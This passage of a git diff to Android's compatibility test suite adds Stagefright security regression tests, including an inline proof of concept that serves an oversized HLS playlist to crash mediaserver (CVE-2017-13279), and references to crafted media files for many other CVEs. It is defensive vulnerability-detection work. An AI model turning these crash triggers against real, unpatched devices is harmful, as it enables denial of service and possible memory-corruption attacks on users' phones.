+                    + "a\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\n"
+                    + "a\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\n"
+                    + "a\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\n"
+                    + "a\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\n"
+                    + "a\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\n"
+                    + "a\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\n"
+                    + "a\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\n"
+                    + "a\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\n"
+                    + "a\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\n"
+                    + "a\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\n"
+                    + "a\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\n"
+                    + "a\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\n"
+                    + "a\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\n"
+                    + "a\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\n"
+                    + "a\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\n"
+                    + "a\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\n"
+                    + "a\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\n"
+                    + "a\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\n"
+                    + "a\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\n"
+                    + "a\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\n"
+                    + "a\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\na\n"
+                    + "a\na\na\na\na\na\na\na\n").getBytes());
+            }
+          catch(IOException e){
+          }
+        }
+      };
+      server.start();
+      String uri = "http://127.0.0.1:8080/aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
+                 + "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa/"
+                 + "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa.m3u8";
+      final MediaPlayerCrashListener mpcl = new MediaPlayerCrashListener();
+
+      LooperThread t = new LooperThread(new Runnable() {
+          @Override
+          public void run() {
+
+              MediaPlayer mp = new MediaPlayer();
+              mp.setOnErrorListener(mpcl);
+              mp.setOnPreparedListener(mpcl);
+              mp.setOnCompletionListener(mpcl);
+              RenderTarget renderTarget = RenderTarget.create();
+              Surface surface = renderTarget.getSurface();
+              mp.setSurface(surface);
+              AssetFileDescriptor fd = null;
+              try {
+                mp.setDataSource(uri);
+                mp.prepareAsync();
+              } catch (IOException e) {
+                Log.e(TAG, e.toString());
+              } finally {
+                  closeQuietly(fd);
+              }
+
+              Looper.loop();
+              mp.release();
+          }
+      });
+      t.start();
+      Thread.sleep(60000); // Poc takes a while to crash mediaserver, waitForError
+                           // doesn't wait long enough
+      assertFalse("Device *IS* vulnerable to CVE-2017-13279",
+                  mpcl.waitForError() == MediaPlayer.MEDIA_ERROR_SERVER_DIED);
+      t.stopLooper();
+      t.join(); // wait for thread to exit so we're sure the player was released
+      server.join();
+    }
+
+    @SecurityTest(minPatchLevel = "2018-04")
     public void testStagefright_cve_2017_13276() throws Exception {
         doStagefrightTest(R.raw.cve_2017_13276);
     }
 
     @SecurityTest(minPatchLevel = "2016-12")
     public void testStagefright_cve_2016_6764() throws Exception {
-        doStagefrightTest(R.raw.cve_2016_6764);
+        doStagefrightTest(R.raw.cve_2016_6764, new CrashUtils.Config().checkMinAddress(false));
     }
 
     @SecurityTest(minPatchLevel = "2018-01")
@@ -939,7 +1068,7 @@
 
     @SecurityTest(minPatchLevel = "2017-06")
     public void testStagefright_bug_35467107() throws Exception {
-        doStagefrightTest(R.raw.bug_35467107);
+        doStagefrightTest(R.raw.bug_35467107, new CrashUtils.Config().checkMinAddress(false));
     }
 
     /***********************************************************
@@ -947,6 +1076,64 @@
      before any existing test methods
      ***********************************************************/
 
+    @SecurityTest(minPatchLevel = "2019-09")
+    public void testStagefright_cve_2019_10534() throws Exception {
+        doStagefrightTest(R.raw.cve_2019_10534);
+    }
+
+    @SecurityTest(minPatchLevel = "2019-09")
+    public void testStagefright_cve_2019_10533() throws Exception {
+        doStagefrightTest(R.raw.cve_2019_10533);
+    }
+
+    @SecurityTest(minPatchLevel = "2019-09")
+    public void testStagefright_cve_2019_10541() throws Exception {
+        doStagefrightTest(R.raw.cve_2019_10541);
+    }
+
+    @SecurityTest(minPatchLevel = "2018-02")
+    public void testStagefright_cve_2017_13233() throws Exception {
+        doStagefrightTestRawBlob(R.raw.cve_2017_13233_hevc, "video/hevc", 640,
+                480);
+    }
+
+    @SecurityTest(minPatchLevel = "2019-07")
+    public void testStagefright_cve_2019_2106() throws Exception {
+        int[] frameSizes = {943, 3153};
+        doStagefrightTestRawBlob(R.raw.cve_2019_2106_hevc, "video/hevc", 320,
+                240, frameSizes);
+    }
+
+    @SecurityTest(minPatchLevel = "2017-06")
+    public void testStagefright_cve_2017_0637() throws Exception {
+        doStagefrightTest(R.raw.cve_2017_0637, 2 * 72000);
+    }
+
+    @SecurityTest(minPatchLevel = "2018-09")
+    public void testStagefright_cve_2018_11287() throws Exception {
+        doStagefrightTest(R.raw.cve_2018_11287, 180000);
+    }
+
+    @SecurityTest(minPatchLevel = "2019-07")
+    public void testStagefright_cve_2019_2327() throws Exception {
+        doStagefrightTest(R.raw.cve_2019_2327);
+    }
+
+    @SecurityTest(minPatchLevel = "2019-07")
+    public void testStagefright_cve_2019_2322() throws Exception {
+        doStagefrightTest(R.raw.cve_2019_2322);
+    }
+
+    @SecurityTest(minPatchLevel = "2019-07")
+    public void testStagefright_cve_2019_2334() throws Exception {
+        doStagefrightTest(R.raw.cve_2019_2334);
+    }
+
+    public void testStagefright_cve_2017_13204() throws Exception {
+        int[] frameSizes = getFrameSizes(R.raw.cve_2017_13204_framelen);
+        doStagefrightTestRawBlob(R.raw.cve_2017_13204_avc, "video/avc", 16, 16, frameSizes);
+    }
+
     @SecurityTest(minPatchLevel = "2018-03")
     public void testStagefright_cve_2017_17773() throws Exception {
         doStagefrightTest(R.raw.cve_2017_17773);
@@ -1027,12 +1214,12 @@
 
     @SecurityTest(minPatchLevel = "2016-12")
     public void testStagefright_cve_2016_6765() throws Exception {
-        doStagefrightTest(R.raw.cve_2016_6765);
+        doStagefrightTest(R.raw.cve_2016_6765, new CrashUtils.Config().checkMinAddress(false));
     }
 
     @SecurityTest(minPatchLevel = "2016-07")
     public void testStagefright_cve_2016_2508() throws Exception {
-        doStagefrightTest(R.raw.cve_2016_2508);
+        doStagefrightTest(R.raw.cve_2016_2508, new CrashUtils.Config().checkMinAddress(false));
     }
 
     @SecurityTest(minPatchLevel = "2016-11")
@@ -1052,13 +1239,19 @@
 
     @SecurityTest(minPatchLevel = "2016-09")
     public void testStagefright_cve_2016_3879() throws Exception {
-        doStagefrightTest(R.raw.cve_2016_3879);
+        doStagefrightTest(R.raw.cve_2016_3879, new CrashUtils.Config().checkMinAddress(false));
     }
 
     private void doStagefrightTest(final int rid) throws Exception {
-        doStagefrightTestMediaPlayer(rid);
-        doStagefrightTestMediaCodec(rid);
-        doStagefrightTestMediaMetadataRetriever(rid);
+        doStagefrightTest(rid, null);
+    }
+
+    private void doStagefrightTest(final int rid, CrashUtils.Config config) throws Exception {
+        NetworkSecurityPolicy policy = NetworkSecurityPolicy.getInstance();
+        policy.setCleartextTrafficPermitted(true);
+        doStagefrightTestMediaPlayer(rid, config);
+        doStagefrightTestMediaCodec(rid, config);
+        doStagefrightTestMediaMetadataRetriever(rid, config);
 
         Context context = getInstrumentation().getContext();
         CtsTestServer server = null;
@@ -1074,9 +1267,10 @@
         String rname = resources.getResourceEntryName(rid);
         String url = server.getAssetUrl("raw/" + rname);
         verifyServer(rid, url);
-        doStagefrightTestMediaPlayer(url);
-        doStagefrightTestMediaCodec(url);
-        doStagefrightTestMediaMetadataRetriever(url);
+        policy.setCleartextTrafficPermitted(false);
+        doStagefrightTestMediaPlayer(url, config);
+        doStagefrightTestMediaCodec(url, config);
+        doStagefrightTestMediaMetadataRetriever(url, config);
         server.shutdown();
     }
 
@@ -1106,11 +1300,16 @@
     }
 
     private void doStagefrightTest(final int rid, int timeout) throws Exception {
+        doStagefrightTest(rid, null, timeout);
+    }
+
+    private void doStagefrightTest(
+            final int rid, CrashUtils.Config config, int timeout) throws Exception {
         runWithTimeout(new Runnable() {
             @Override
             public void run() {
                 try {
-                  doStagefrightTest(rid);
+                  doStagefrightTest(rid, config);
                 } catch (Exception e) {
                   fail(e.toString());
                 }
@@ -1119,7 +1318,12 @@
     }
 
     private void doStagefrightTestANR(final int rid) throws Exception {
-        doStagefrightTestMediaPlayerANR(rid, null);
+        doStagefrightTestANR(rid, null);
+    }
+
+    private void doStagefrightTestANR(
+            final int rid, CrashUtils.Config config) throws Exception {
+        doStagefrightTestMediaPlayerANR(rid, null, config);
     }
 
     public JSONArray getCrashReport(String testname, long timeout)
@@ -1153,10 +1357,42 @@
         MediaPlayer.OnPreparedListener,
         MediaPlayer.OnCompletionListener {
 
-        private final String[] validProcessNames = {
-            "mediaserver", "mediadrmserver", "media.extractor", "media.codec", "media.metrics"
+        CrashUtils.Config config;
+
+        private final Pattern[] validProcessPatterns = {
+            Pattern.compile("adsprpcd"),
+            Pattern.compile("android\\.hardware\\.cas@\\d+?\\.\\d+?-service"),
+            Pattern.compile("android\\.hardware\\.drm@\\d+?\\.\\d+?-service"),
+            Pattern.compile("android\\.hardware\\.drm@\\d+?\\.\\d+?-service\\.clearkey"),
+            Pattern.compile("android\\.hardware\\.drm@\\d+?\\.\\d+?-service\\.widevine"),
+            Pattern.compile("omx@\\d+?\\.\\d+?-service"),  // name:omx@1.0-service
+            Pattern.compile("android\\.process\\.media"),
+            Pattern.compile("mediadrmserver"),
+            Pattern.compile("mediaextractor"),
+            Pattern.compile("media\\.extractor"),
+            Pattern.compile("media\\.metrics"),
+            Pattern.compile("mediaserver"),
+            Pattern.compile("media\\.codec"),
+            Pattern.compile("media\\.swcodec"),
+            Pattern.compile("\\[?sdcard\\]?"), // name:/system/bin/sdcard, user:media_rw
+            // Match any vendor processes.
+            // It should only catch crashes that happen during the test.
+            Pattern.compile("vendor.*"),
         };
 
+        MediaPlayerCrashListener() {
+            this(null);
+        }
+
+        MediaPlayerCrashListener(CrashUtils.Config config) {
+            if (config == null) {
+                config = new CrashUtils.Config();
+            }
+            // if a different process is needed for a test, it should be added to the main list.
+            config.setProcessPatterns(validProcessPatterns);
+            this.config = config;
+        }
+
         @Override
         public boolean onError(MediaPlayer mp, int newWhat, int extra) {
             Log.i(TAG, "error: " + newWhat + "/" + extra);
@@ -1202,7 +1438,7 @@
                 if (crashes == null) {
                     Log.e(TAG, "Crash results not found for test " + getName());
                     return what;
-                } else if (CrashUtils.detectCrash(validProcessNames, true, crashes)) {
+                } else if (CrashUtils.securityCrashDetected(crashes, config)) {
                     return what;
                 } else {
                     Log.i(TAG, "Crash ignored due to no security crash found for test " +
@@ -1250,11 +1486,21 @@
     }
 
     private void doStagefrightTestMediaPlayer(final int rid) throws Exception {
-        doStagefrightTestMediaPlayer(rid, null);
+        doStagefrightTestMediaPlayer(rid, null, null);
+    }
+
+    private void doStagefrightTestMediaPlayer(
+            final int rid, CrashUtils.Config config) throws Exception {
+        doStagefrightTestMediaPlayer(rid, null, config);
     }
 
     private void doStagefrightTestMediaPlayer(final String url) throws Exception {
-        doStagefrightTestMediaPlayer(-1, url);
+        doStagefrightTestMediaPlayer(url, null);
+    }
+
+    private void doStagefrightTestMediaPlayer(
+            final String url, CrashUtils.Config config) throws Exception {
+        doStagefrightTestMediaPlayer(-1, url, config);
     }
 
     private void closeQuietly(AutoCloseable closeable) {
@@ -1269,12 +1515,17 @@
     }
 
     private void doStagefrightTestMediaPlayer(final int rid, final String uri) throws Exception {
+        doStagefrightTestMediaPlayer(rid, uri, null);
+    }
+
+    private void doStagefrightTestMediaPlayer(final int rid, final String uri,
+            CrashUtils.Config config) throws Exception {
 
         String name = uri != null ? uri :
             getInstrumentation().getContext().getResources().getResourceEntryName(rid);
         Log.i(TAG, "start mediaplayer test for: " + name);
 
-        final MediaPlayerCrashListener mpcl = new MediaPlayerCrashListener();
+        final MediaPlayerCrashListener mpcl = new MediaPlayerCrashListener(config);
 
         LooperThread t = new LooperThread(new Runnable() {
             @Override
@@ -1320,17 +1571,106 @@
         t.join(); // wait for thread to exit so we're sure the player was released
     }
 
+    /*
+     * b/135207745
+     */
+    @SecurityTest(minPatchLevel = "2019-08")
+    public void testStagefright_cve_2019_2129() throws Exception {
+        final int rid = R.raw.cve_2019_2129;
+        String name = getInstrumentation().getContext().getResources().getResourceEntryName(rid);
+        Log.i(TAG, "start mediaplayer test for: " + name);
+
+        final MediaPlayerCrashListener mpcl = new MediaPlayerCrashListener() {
+            @Override
+            public void onPrepared(MediaPlayer mp) {
+                super.onPrepared(mp);
+                mp.setLooping(true);
+            }
+        };
+
+        LooperThread t = new LooperThread(new Runnable() {
+            @Override
+            public void run() {
+                MediaPlayer mp = new MediaPlayer();
+                mp.setOnErrorListener(mpcl);
+                mp.setOnPreparedListener(mpcl);
+                mp.setOnCompletionListener(mpcl);
+                RenderTarget renderTarget = RenderTarget.create();
+                Surface surface = renderTarget.getSurface();
+                mp.setSurface(surface);
+                AssetFileDescriptor fd = null;
+                try {
+                    fd = getInstrumentation().getContext().getResources().openRawResourceFd(rid);
+                    mp.setOnTimedTextListener(new MediaPlayer.OnTimedTextListener() {
+                        @Override
+                        public void onTimedText(MediaPlayer p, TimedText text) {
+                            if (text != null) {
+                                Log.d(TAG, "text = " + text.getText());
+                            }
+                        }
+                    });
+                    mp.setDataSource(fd.getFileDescriptor(),
+                                     fd.getStartOffset(),
+                                     fd.getLength());
+                    //  keep the original as in poc by not using prepareAsync
+                    mp.prepare();
+                    mp.selectTrack(2);
+                } catch (Exception e) {
+                    Log.e(TAG, "Exception is caught " + e.getMessage());
+                    e.printStackTrace();
+                } finally {
+                    closeQuietly(fd);
+                }
+
+                try {
+                    //  here to catch & swallow the runtime crash in exception
+                    //  after the place where original poc failed in
+                    //  java.lang.IllegalArgumentException: parseParcel()
+                    //  which is beyond test control.
+                    Looper.loop();
+                } catch (RuntimeException e) {
+                    Log.e(TAG, "Exception is caught on Looper.loop() " + e.getMessage());
+                    e.printStackTrace();
+                }
+                mp.release();
+                renderTarget.destroy();
+            }
+        });
+
+        t.start();
+        String cve = name.replace("_", "-").toUpperCase();
+        assertFalse("Device *IS* vulnerable to " + cve,
+                    mpcl.waitForError() == MediaPlayer.MEDIA_ERROR_SERVER_DIED);
+        t.stopLooper();
+        t.join(); // wait for thread to exit so we're sure the player was released
+    }
+
     private void doStagefrightTestMediaCodec(final int rid) throws Exception {
-        doStagefrightTestMediaCodec(rid, null);
+        doStagefrightTestMediaCodec(rid, null, null);
+    }
+
+    private void doStagefrightTestMediaCodec(
+            final int rid, CrashUtils.Config config) throws Exception {
+        doStagefrightTestMediaCodec(rid, null, config);
     }
 
     private void doStagefrightTestMediaCodec(final String url) throws Exception {
-        doStagefrightTestMediaCodec(-1, url);
+        doStagefrightTestMediaCodec(url, null);
+    }
+
+    private void doStagefrightTestMediaCodec(
+            final String url, CrashUtils.Config config) throws Exception {
+        doStagefrightTestMediaCodec(-1, url, config);
     }
 
     private void doStagefrightTestMediaCodec(final int rid, final String url) throws Exception {
+        doStagefrightTestMediaCodec(rid, url, null);
+    }
 
-        final MediaPlayerCrashListener mpcl = new MediaPlayerCrashListener();
+    private void doStagefrightTestMediaCodec(
+            final int rid, final String url, CrashUtils.Config config) throws Exception {
+
+        final MediaPlayerCrashListener mpcl = new MediaPlayerCrashListener(config);
 
         LooperThread thr = new LooperThread(new Runnable() {
             @Override
@@ -1488,17 +1828,31 @@
     }
 
     private void doStagefrightTestMediaMetadataRetriever(final int rid) throws Exception {
-        doStagefrightTestMediaMetadataRetriever(rid, null);
+        doStagefrightTestMediaMetadataRetriever(rid, null, null);
+    }
+    private void doStagefrightTestMediaMetadataRetriever(
+            final int rid, CrashUtils.Config config) throws Exception {
+        doStagefrightTestMediaMetadataRetriever(rid, null, config);
     }
 
     private void doStagefrightTestMediaMetadataRetriever(final String url) throws Exception {
-        doStagefrightTestMediaMetadataRetriever(-1, url);
+        doStagefrightTestMediaMetadataRetriever(url, null);
+    }
+
+    private void doStagefrightTestMediaMetadataRetriever(
+            final String url, CrashUtils.Config config) throws Exception {
+        doStagefrightTestMediaMetadataRetriever(-1, url, config);
     }
 
     private void doStagefrightTestMediaMetadataRetriever(
             final int rid, final String url) throws Exception {
+        doStagefrightTestMediaMetadataRetriever(rid, url, null);
+    }
 
-        final MediaPlayerCrashListener mpcl = new MediaPlayerCrashListener();
+    private void doStagefrightTestMediaMetadataRetriever(
+            final int rid, final String url, CrashUtils.Config config) throws Exception {
+
+        final MediaPlayerCrashListener mpcl = new MediaPlayerCrashListener(config);
 
         LooperThread thr = new LooperThread(new Runnable() {
             @Override
@@ -1573,12 +1927,14 @@
 
     @SecurityTest(minPatchLevel = "2017-08")
     public void testBug36816007() throws Exception {
-        doStagefrightTestRawBlob(R.raw.bug_36816007, "video/avc", 320, 240);
+        doStagefrightTestRawBlob(R.raw.bug_36816007, "video/avc", 320, 240,
+                new CrashUtils.Config().checkMinAddress(false));
     }
 
     @SecurityTest(minPatchLevel = "2017-05")
     public void testBug36895511() throws Exception {
-        doStagefrightTestRawBlob(R.raw.bug_36895511, "video/hevc", 320, 240);
+        doStagefrightTestRawBlob(R.raw.bug_36895511, "video/hevc", 320, 240,
+                new CrashUtils.Config().checkMinAddress(false));
     }
 
     @SecurityTest(minPatchLevel = "2017-11")
@@ -1608,7 +1964,38 @@
 
     @SecurityTest(minPatchLevel = "2018-04")
     public void testBug_70897394() throws Exception {
-        doStagefrightTestRawBlob(R.raw.bug_70897394_avc, "video/avc", 320, 240);
+        doStagefrightTestRawBlob(R.raw.bug_70897394_avc, "video/avc", 320, 240,
+                new CrashUtils.Config().checkMinAddress(false));
+    }
+
+    @SecurityTest(minPatchLevel = "Unknown")
+    public void testBug_123700383() throws Exception {
+        assertExtractorDoesNotHang(R.raw.bug_123700383);
+    }
+
+    @SecurityTest(minPatchLevel = "Unknown")
+    public void testBug_127310810() throws Exception {
+        assertExtractorDoesNotHang(R.raw.bug_127310810);
+    }
+
+    @SecurityTest(minPatchLevel = "Unknown")
+    public void testBug_127312550() throws Exception {
+        assertExtractorDoesNotHang(R.raw.bug_127312550);
+    }
+
+    @SecurityTest(minPatchLevel = "Unknown")
+    public void testBug_127313223() throws Exception {
+        assertExtractorDoesNotHang(R.raw.bug_127313223);
+    }
+
+    @SecurityTest(minPatchLevel = "Unknown")
+    public void testBug_127313537() throws Exception {
+        assertExtractorDoesNotHang(R.raw.bug_127313537);
+    }
+
+    @SecurityTest(minPatchLevel = "Unknown")
+    public void testBug_127313764() throws Exception {
+        assertExtractorDoesNotHang(R.raw.bug_127313764);
     }
 
     private int[] getFrameSizes(int rid) throws IOException {
@@ -1648,9 +2035,15 @@
         }, 5000);
     }
 
-    private void doStagefrightTestRawBlob(int rid, String mime, int initWidth, int initHeight) throws Exception {
+    private void doStagefrightTestRawBlob(
+            int rid, String mime, int initWidth, int initHeight) throws Exception {
+        doStagefrightTestRawBlob(rid, mime, initWidth, initHeight, new CrashUtils.Config());
+    }
 
-        final MediaPlayerCrashListener mpcl = new MediaPlayerCrashListener();
+    private void doStagefrightTestRawBlob(int rid, String mime, int initWidth, int initHeight,
+            CrashUtils.Config config) throws Exception {
+
+        final MediaPlayerCrashListener mpcl = new MediaPlayerCrashListener(config);
         final Context context = getInstrumentation().getContext();
         final Resources resources =  context.getResources();
 
@@ -1763,9 +2156,15 @@
     }
 
     private void doStagefrightTestRawBlob(int rid, String mime, int initWidth, int initHeight,
-        int frameSizes[]) throws Exception {
+            int frameSizes[]) throws Exception {
+        // check crash address by default
+        doStagefrightTestRawBlob(rid, mime, initWidth, initHeight, frameSizes, new CrashUtils.Config());
+    }
 
-        final MediaPlayerCrashListener mpcl = new MediaPlayerCrashListener();
+    private void doStagefrightTestRawBlob(int rid, String mime, int initWidth, int initHeight,
+            int frameSizes[], CrashUtils.Config config) throws Exception {
+
+        final MediaPlayerCrashListener mpcl = new MediaPlayerCrashListener(config);
         final Context context = getInstrumentation().getContext();
         final Resources resources =  context.getResources();
 
@@ -1899,11 +2298,16 @@
     }
 
     private void doStagefrightTestMediaPlayerANR(final int rid, final String uri) throws Exception {
+        doStagefrightTestMediaPlayerANR(rid, uri, null);
+    }
+
+    private void doStagefrightTestMediaPlayerANR(final int rid, final String uri,
+            CrashUtils.Config config) throws Exception {
         String name = uri != null ? uri :
             getInstrumentation().getContext().getResources().getResourceEntryName(rid);
         Log.i(TAG, "start mediaplayerANR test for: " + name);
 
-        final MediaPlayerCrashListener mpl = new MediaPlayerCrashListener();
+        final MediaPlayerCrashListener mpl = new MediaPlayerCrashListener(config);
 
         LooperThread t = new LooperThread(new Runnable() {
             @Override
@@ -1947,7 +2351,12 @@
     }
 
     private void doStagefrightTestExtractorSeek(final int rid, final long offset) throws Exception {
-        final MediaPlayerCrashListener mpcl = new MediaPlayerCrashListener();
+        doStagefrightTestExtractorSeek(rid, offset, new CrashUtils.Config()); // check crash address by default
+    }
+
+    private void doStagefrightTestExtractorSeek(final int rid, final long offset,
+            CrashUtils.Config config) throws Exception {
+        final MediaPlayerCrashListener mpcl = new MediaPlayerCrashListener(config);
         LooperThread thr = new LooperThread(new Runnable() {
             @Override
             public void run() {
@@ -2009,4 +2418,35 @@
         thr.stopLooper();
         thr.join();
     }
+
+    protected void assertExtractorDoesNotHang(int rid) throws Exception {
+        // The media extractor has a watchdog, currently set to 10 seconds.
+        final long timeoutMs = 12 * 1000;
+
+        Thread thread = new Thread(() -> {
+            MediaExtractor ex = new MediaExtractor();
+            AssetFileDescriptor fd =
+                    getInstrumentation().getContext().getResources().openRawResourceFd(rid);
+            try {
+                ex.setDataSource(fd.getFileDescriptor(), fd.getStartOffset(), fd.getLength());
+            } catch (IOException e) {
+                // It is OK for the call to fail, we're only making sure it doesn't hang.
+            } finally {
+                closeQuietly(fd);
+                ex.release();
+            }
+        });
+        thread.start();
+
+        thread.join(timeoutMs);
+        boolean hung = thread.isAlive();
+        if (hung) {
+            // We don't have much to do at this point. Attempt to un-hang the thread, the media
+            // extractor process is likely still spinning. At least we found a bug...
+            // TODO: reboot the media extractor process.
+            thread.interrupt();
+        }
+
+        assertFalse(hung);
+    }
 }
diff --git a/tests/tests/shortcutmanager/src/android/content/pm/cts/shortcutmanager/ShortcutManagerThrottlingTest.java b/tests/tests/shortcutmanager/src/android/content/pm/cts/shortcutmanager/ShortcutManagerThrottlingTest.java
index 7628c82..79b6bd1 100644
--- a/tests/tests/shortcutmanager/src/android/content/pm/cts/shortcutmanager/ShortcutManagerThrottlingTest.java
+++ b/tests/tests/shortcutmanager/src/android/content/pm/cts/shortcutmanager/ShortcutManagerThrottlingTest.java
@@ -18,7 +18,7 @@
 
 import static android.content.pm.cts.shortcutmanager.common.Constants.INLINE_REPLY_REMOTE_INPUT_CAPTION;
 
-import static com.android.server.pm.shortcutmanagertest.ShortcutManagerTestUtils.resetThrottling;
+import static com.android.server.pm.shortcutmanagertest.ShortcutManagerTestUtils.resetAllThrottling;
 import static com.android.server.pm.shortcutmanagertest.ShortcutManagerTestUtils.runCommandForNoOutput;
 
 import android.content.ComponentName;
@@ -64,7 +64,7 @@
     protected void setUp() throws Exception {
         super.setUp();
 
-        resetThrottling(getInstrumentation());
+        resetAllThrottling(getInstrumentation());
 
         UiDevice.getInstance(getInstrumentation()).pressHome();
 
diff --git a/tests/tests/slice/Android.bp b/tests/tests/slice/Android.bp
new file mode 100644
index 0000000..9dfffd2
--- /dev/null
+++ b/tests/tests/slice/Android.bp
@@ -0,0 +1,54 @@
+// Copyright (C) 2019 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test {
+    name: "CtsSliceTestCases",
+    defaults: ["cts_defaults"],
+
+    // don't include this package in any target
+
+    // and when built explicitly put it in the data partition
+
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+
+    libs: ["android.test.runner.stubs"],
+
+    static_libs: [
+        "androidx.test.rules",
+        "compatibility-device-util-axt",
+        "ctsdeviceutillegacy-axt",
+        "ctstestrunner-axt",
+        "metrics-helper-lib",
+        "mockito-target-inline-minus-junit4",
+        "platform-test-annotations",
+        "ub-uiautomator",
+    ],
+
+    compile_multilib: "both",
+
+    jni_libs: [
+        "libdexmakerjvmtiagent",
+        "libmultiplejvmtiagentsinterferenceagent",
+    ],
+
+    srcs: ["src/**/*.java", "src/**/*.kt"],
+
+    platform_apis: true,
+
+}
diff --git a/tests/tests/slice/src/android/slice/cts/SliceProviderTest.java b/tests/tests/slice/src/android/slice/cts/SliceProviderTest.java
new file mode 100644
index 0000000..2a2e8e4
--- /dev/null
+++ b/tests/tests/slice/src/android/slice/cts/SliceProviderTest.java
@@ -0,0 +1,89 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.slice.cts;
+
+import android.app.slice.Slice;
+import android.app.slice.SliceSpec;
+import android.content.ContentResolver;
+import android.net.Uri;
+import android.os.Bundle;
+
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
+import com.google.android.collect.Lists;
+
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(AndroidJUnit4.class)
+public class SliceProviderTest {
+
+    private static final String VALID_AUTHORITY = "android.slice.cts";
+    private static final String SUSPICIOUS_AUTHORITY = "com.suspicious.www";
+    private static final String ACTION_BLUETOOTH = "/action/bluetooth";
+    private static final String VALID_BASE_URI_STRING = "content://" + VALID_AUTHORITY;
+    private static final String VALID_ACTION_URI_STRING =
+            "content://" + VALID_AUTHORITY + ACTION_BLUETOOTH;
+    private static final String SHADY_ACTION_URI_STRING =
+            "content://" + SUSPICIOUS_AUTHORITY + ACTION_BLUETOOTH;
+
+    @Rule
+    public ActivityTestRule<Launcher> mLauncherActivityTestRule = new ActivityTestRule<>(Launcher.class);
+
+    private Uri validBaseUri = Uri.parse(VALID_BASE_URI_STRING);
+    private Uri validActionUri = Uri.parse(VALID_ACTION_URI_STRING);
+    private Uri shadyActionUri = Uri.parse(SHADY_ACTION_URI_STRING);
+
+    private ContentResolver mContentResolver;
+
+    @Before
+    public void setUp() {
+        mContentResolver = mLauncherActivityTestRule.getActivity().getContentResolver();
+    }
+
+    @Test
+    public void testCallSliceUri_ValidAuthority() {
+        doQuery(validActionUri);
+    }
+
+    @Test(expected = SecurityException.class)
+    public void testCallSliceUri_ShadyAuthority() {
+        doQuery(shadyActionUri);
+    }
+
+    private Slice doQuery(Uri actionUri) {
+        Bundle extras = new Bundle();
+        extras.putParcelable("slice_uri", actionUri);
+        extras.putParcelableArrayList("supported_specs", Lists.newArrayList(
+                    new SliceSpec("androidx.slice.LIST", 1),
+                    new SliceSpec("androidx.app.slice.BASIC", 1),
+                    new SliceSpec("androidx.slice.BASIC", 1),
+                    new SliceSpec("androidx.app.slice.LIST", 1)
+            ));
+        Bundle result = mContentResolver.call(
+                validBaseUri,
+                SliceProvider.METHOD_SLICE,
+                null,
+                extras
+        );
+        return result.getParcelable(SliceProvider.EXTRA_SLICE);
+    }
+
+}
diff --git a/tests/tests/slice/src/android/slice/cts/SliceProviderTest.kt b/tests/tests/slice/src/android/slice/cts/SliceProviderTest.kt
new file mode 100644
index 0000000..4b78f3a
--- /dev/null
+++ b/tests/tests/slice/src/android/slice/cts/SliceProviderTest.kt
@@ -0,0 +1,82 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file
+ * except in compliance with the License. You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software distributed under the
+ * License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
+ * KIND, either express or implied. See the License for the specific language governing
+ * permissions and limitations under the License.
+ */
+
+package android.slice.cts
+
+import android.app.slice.Slice
